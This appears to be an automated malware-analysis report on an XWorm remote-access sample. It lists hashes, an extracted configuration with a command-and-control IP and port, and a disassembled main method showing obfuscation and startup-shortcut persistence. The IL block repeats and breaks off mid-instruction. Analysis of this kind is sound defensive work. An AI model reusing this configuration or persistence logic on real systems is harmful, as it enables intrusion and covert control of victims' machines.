Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 567a87fbefde837e22ea571f862dea70
|
| Sha1 | bd2d65ca0d92866ad014698b14543f8ac3cfb071
|
| Sha256 | 351e74317d920db0ce7cfd60c5977f8bb7b96dc7ff3c7956965472db50774243
|
| Sha384 | c41dc9fab9014c0ca88d952db58eeec40764fa1a2c20c31ed80553a86f875a35ede9ea765c54a9014218755cbef98272
|
| Sha512 | 81be4b555f53624b925eb7dff513b1b9e664b868dcb4d8cd2613043846fe7835caa516623d08dff122fef510361fbd240c7cc49f4a067b2ceeff79e41f27b84a
|
| SSDeep | 768:+Q6S1a+Ou7J63KVteye5nlEUlcY9JgvgDwHuIY1kbg6xrc2/3KmXArrO5O4hntf:+Q6r+O8L6raYOubkbg6Rsry5O4nf
|
| TLSH | C4538C187BF24125E0FE9FF149E23543C636E7235803E66F24DD428A1A279C9CD916FA
|
PeID
|
Config. Field0 | Value |
|---|---|
| Mutex | juKdtuoqKwGHWtvx |
| Hosts | 158.94.209.44 |
| Port | 6991 |
| KEY | <666666> |
| USBNM | <XWormmm> |
| family | xworm |
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | Hxwrmstrt.exe |
| Full Name | Hxwrmstrt.exe |
| EntryPoint | System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::ZVI2Ku7ddoSH9woTVQ8xSk7bDJT0xRjlj0Z2DklBWOKGusPSi4PsrshgXSXKaF2LEg1NfL9E4KrFfR() |
| Scope Name | Hxwrmstrt.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | Hxwrmstrt |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 253 |
| Main Method | System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::ZVI2Ku7ddoSH9woTVQ8xSk7bDJT0xRjlj0Z2DklBWOKGusPSi4PsrshgXSXKaF2LEg1NfL9E4KrFfR() |
| Main IL Instruction Count | 208 |
| Main IL | ldsfld System.Int32 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::wCnE5Hyko33K9AJhKj2tIJo38sZcrdhWVd3mktWweZqRyl9yUazfXykBvQnTd7R2Fn4dCJ7spwimiC ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::DZfxwgstg3BPMOCoMRdJ3fIItkS8p89KXQDzzJqjd8XMC2NEmWjVsg2zpRL1J5eD46pdkOEiFL0fRi call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::DZfxwgstg3BPMOCoMRdJ3fIItkS8p89KXQDzzJqjd8XMC2NEmWjVsg2zpRL1J5eD46pdkOEiFL0fRi ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::9XWwt3OtPiXQDHUCxn4MdHKfR0UCH7X0AYLiw2DVULVQfgVAnMLC1YhSem02BX8Jv8g36ozZn6WBhc call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::9XWwt3OtPiXQDHUCxn4MdHKfR0UCH7X0AYLiw2DVULVQfgVAnMLC1YhSem02BX8Jv8g36ozZn6WBhc ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::0sZ2qbPo7R6lOuq7nggyw75dYWxxCxL95kByyj6c3h79ZSRHEsHHrI65DvsdLgaEYVMVP8g7DW1b2c call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::0sZ2qbPo7R6lOuq7nggyw75dYWxxCxL95kByyj6c3h79ZSRHEsHHrI65DvsdLgaEYVMVP8g7DW1b2c ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GQiO4imvcAmt0GdohErUJuvU180UL9Dto21B8589iduHCzDrsQRSER3f2CtL5Wn3HeffXKLDCegPQs call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GQiO4imvcAmt0GdohErUJuvU180UL9Dto21B8589iduHCzDrsQRSER3f2CtL5Wn3HeffXKLDCegPQs ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::6RKpyWC3tONZyx00ns6YHStOy3yZO3cGdfZYAtayHeOnygtq2uC4yWfaGgqaMaSdeIOkGYbTl0bagi call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::6RKpyWC3tONZyx00ns6YHStOy3yZO3cGdfZYAtayHeOnygtq2uC4yWfaGgqaMaSdeIOkGYbTl0bagi ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::AUzy2R1RmvLJ9wmf2bKHsliGt9gO3hGgPXrO6LkHEszR8MKUhBTHN8CMZh86vqchauCxcTeMPUniKd call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::AUzy2R1RmvLJ9wmf2bKHsliGt9gO3hGgPXrO6LkHEszR8MKUhBTHN8CMZh86vqchauCxcTeMPUniKd ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT leave.s IL_00CB: call System.Boolean Stub.QJp5FQtOFL8AYszeKxVO::X6LFov6xutDAMm1B1Qxa() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.QJp5FQtOFL8AYszeKxVO::X6LFov6xutDAMm1B1Qxa() call System.Boolean Stub.QJp5FQtOFL8AYszeKxVO::X6LFov6xutDAMm1B1Qxa() brtrue.s IL_00D8: ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb ldstr \ ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.FileSystemInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.QJp5FQtOFL8AYszeKxVO::VpRJraHsuCUBTd5Eq7lS call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_7 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01E1: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_7 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.QJp5FQtOFL8AYszeKxVO::cn3oovgwl6rMUkFAEHhD leave.s IL_0260: call System.Void Stub.QJp5FQtOFL8AYszeKxVO::OZvXgjb8tOs4iBL2pe18() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0260: call System.Void Stub.QJp5FQtOFL8AYszeKxVO::OZvXgjb8tOs4iBL2pe18() call System.Void Stub.QJp5FQtOFL8AYszeKxVO::OZvXgjb8tOs4iBL2pe18() ldnull <null> ldftn System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::tiFDO5HBJDoquomGqdiVScn8vMCBb8uvERsY0KXQyF7gpNQa7f0dOh65bnTdFJMMinFr3lvLSSMQxd() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::6sEJ8boW4jgHoGeFDTV6f9fS5TZTFVC3kvm2BMl6wswY12fSbhYeenHdVE5m52rhjKiCMfat9MToL7() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
| Module Name | Hxwrmstrt.exe |
| Full Name | Hxwrmstrt.exe |
| EntryPoint | System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::ZVI2Ku7ddoSH9woTVQ8xSk7bDJT0xRjlj0Z2DklBWOKGusPSi4PsrshgXSXKaF2LEg1NfL9E4KrFfR() |
| Scope Name | Hxwrmstrt.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | Hxwrmstrt |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 253 |
| Main Method | System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::ZVI2Ku7ddoSH9woTVQ8xSk7bDJT0xRjlj0Z2DklBWOKGusPSi4PsrshgXSXKaF2LEg1NfL9E4KrFfR() |
| Main IL Instruction Count | 208 |
| Main IL | ldsfld System.Int32 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::wCnE5Hyko33K9AJhKj2tIJo38sZcrdhWVd3mktWweZqRyl9yUazfXykBvQnTd7R2Fn4dCJ7spwimiC ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::DZfxwgstg3BPMOCoMRdJ3fIItkS8p89KXQDzzJqjd8XMC2NEmWjVsg2zpRL1J5eD46pdkOEiFL0fRi call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::DZfxwgstg3BPMOCoMRdJ3fIItkS8p89KXQDzzJqjd8XMC2NEmWjVsg2zpRL1J5eD46pdkOEiFL0fRi ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::9XWwt3OtPiXQDHUCxn4MdHKfR0UCH7X0AYLiw2DVULVQfgVAnMLC1YhSem02BX8Jv8g36ozZn6WBhc call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::9XWwt3OtPiXQDHUCxn4MdHKfR0UCH7X0AYLiw2DVULVQfgVAnMLC1YhSem02BX8Jv8g36ozZn6WBhc ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::0sZ2qbPo7R6lOuq7nggyw75dYWxxCxL95kByyj6c3h79ZSRHEsHHrI65DvsdLgaEYVMVP8g7DW1b2c call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::0sZ2qbPo7R6lOuq7nggyw75dYWxxCxL95kByyj6c3h79ZSRHEsHHrI65DvsdLgaEYVMVP8g7DW1b2c ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GQiO4imvcAmt0GdohErUJuvU180UL9Dto21B8589iduHCzDrsQRSER3f2CtL5Wn3HeffXKLDCegPQs call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GQiO4imvcAmt0GdohErUJuvU180UL9Dto21B8589iduHCzDrsQRSER3f2CtL5Wn3HeffXKLDCegPQs ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::6RKpyWC3tONZyx00ns6YHStOy3yZO3cGdfZYAtayHeOnygtq2uC4yWfaGgqaMaSdeIOkGYbTl0bagi call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::6RKpyWC3tONZyx00ns6YHStOy3yZO3cGdfZYAtayHeOnygtq2uC4yWfaGgqaMaSdeIOkGYbTl0bagi ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::AUzy2R1RmvLJ9wmf2bKHsliGt9gO3hGgPXrO6LkHEszR8MKUhBTHN8CMZh86vqchauCxcTeMPUniKd call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::AUzy2R1RmvLJ9wmf2bKHsliGt9gO3hGgPXrO6LkHEszR8MKUhBTHN8CMZh86vqchauCxcTeMPUniKd ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT call System.Object Stub.i9PXZL7AoW6YaAZj2Vvp::KHmwO1lB4rGTxk1suXFJ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT leave.s IL_00CB: call System.Boolean Stub.QJp5FQtOFL8AYszeKxVO::X6LFov6xutDAMm1B1Qxa() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.QJp5FQtOFL8AYszeKxVO::X6LFov6xutDAMm1B1Qxa() call System.Boolean Stub.QJp5FQtOFL8AYszeKxVO::X6LFov6xutDAMm1B1Qxa() brtrue.s IL_00D8: ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::GDBU1M0lKnwxO6PTVU4Tc6kc7N5WPWKNj9HSGcewsT2uIlJjMsNISfzzUtqadb5dskQ23BiaYTBAyb ldstr \ ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.FileSystemInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.QJp5FQtOFL8AYszeKxVO::VpRJraHsuCUBTd5Eq7lS call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String 5O8j7TuXdcwo3ornha5aUAcNNdMPjTnY5p1po5sUu95J6A7C8pB1vSqSi813rqE6VreyuuBxAW8FGd::UxJqVwOTrjVuRpbvDci05lV8lVD5JgOXl4r5CJZ0xHvhDrxh6MGyHQLkB89TkK7nBOMAWROGavQpmT call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_7 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01E1: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref 